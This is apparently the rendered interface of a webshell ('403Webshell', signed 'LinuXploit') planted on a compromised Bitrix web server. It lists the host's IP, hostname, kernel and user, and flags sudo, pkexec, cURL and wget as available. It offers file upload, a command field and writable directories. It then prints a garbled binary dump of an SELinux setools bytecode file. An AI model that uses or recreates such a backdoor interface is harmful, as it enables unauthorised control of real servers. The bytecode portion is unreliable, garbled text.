403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/setools/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/setools/__pycache__/boolquery.cpython-39.opt-1.pyc
a

q�qe��@s^ddlZddlmZmZddlmZddlmZddlm	Z	ddl
mZGdd	�d	ee�ZdS)
�N)�Iterable�Optional�)�CriteriaDescriptor)�	MatchName)�Boolean)�PolicyQuerycsteZdZUdZdZeeed<eeed�dd��Z	e	j
dd�dd��Z	dd��fdd	�Zee
d�d
d�Z�ZS)�	BoolQuerya�Query SELinux policy Booleans.

    Parameter:
    policy          The policy to query.

    Keyword Parameters/Class attributes:
    name            The Boolean name to match.
    name_regex      If true, regular expression matching
                    will be used on the Boolean name.
    default         The default state to match.  If this
                    is None, the default state not be matched.
    N�_default)�returncCs|jS�N)r
)�self�r�7/usr/lib64/python3.9/site-packages/setools/boolquery.py�defaultszBoolQuery.defaultcCs|durd|_n
t|�|_dSr)r
�bool)r
�valuerrrr#scs(tt|�j|fi|��t�t�|_dSr)�superr	�__init__�loggingZ	getLogger�__name__�log)r
�policy�kwargs��	__class__rrr*szBoolQuery.__init__ccsn|j�d�|��|�|j�|j�d�|��|j��D].}|�|�sJq:|jdurb|j	|jkrbq:|Vq:dS)z:Generator which yields all Booleans matching the criteria.z*Generating Boolean results from {0.policy}zDefault: {0.default}N)
r�info�formatZ_match_name_debug�debugrZboolsZ_match_namer�state)r
Zbooleanrrr�results.s
zBoolQuery.results)r�
__module__�__qualname__�__doc__r
rr�__annotations__�propertyr�setterrrrr �
__classcell__rrrrr	s

r	)
r�typingrrZdescriptorsrZmixinsrZ	policyrepr�queryrr	rrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit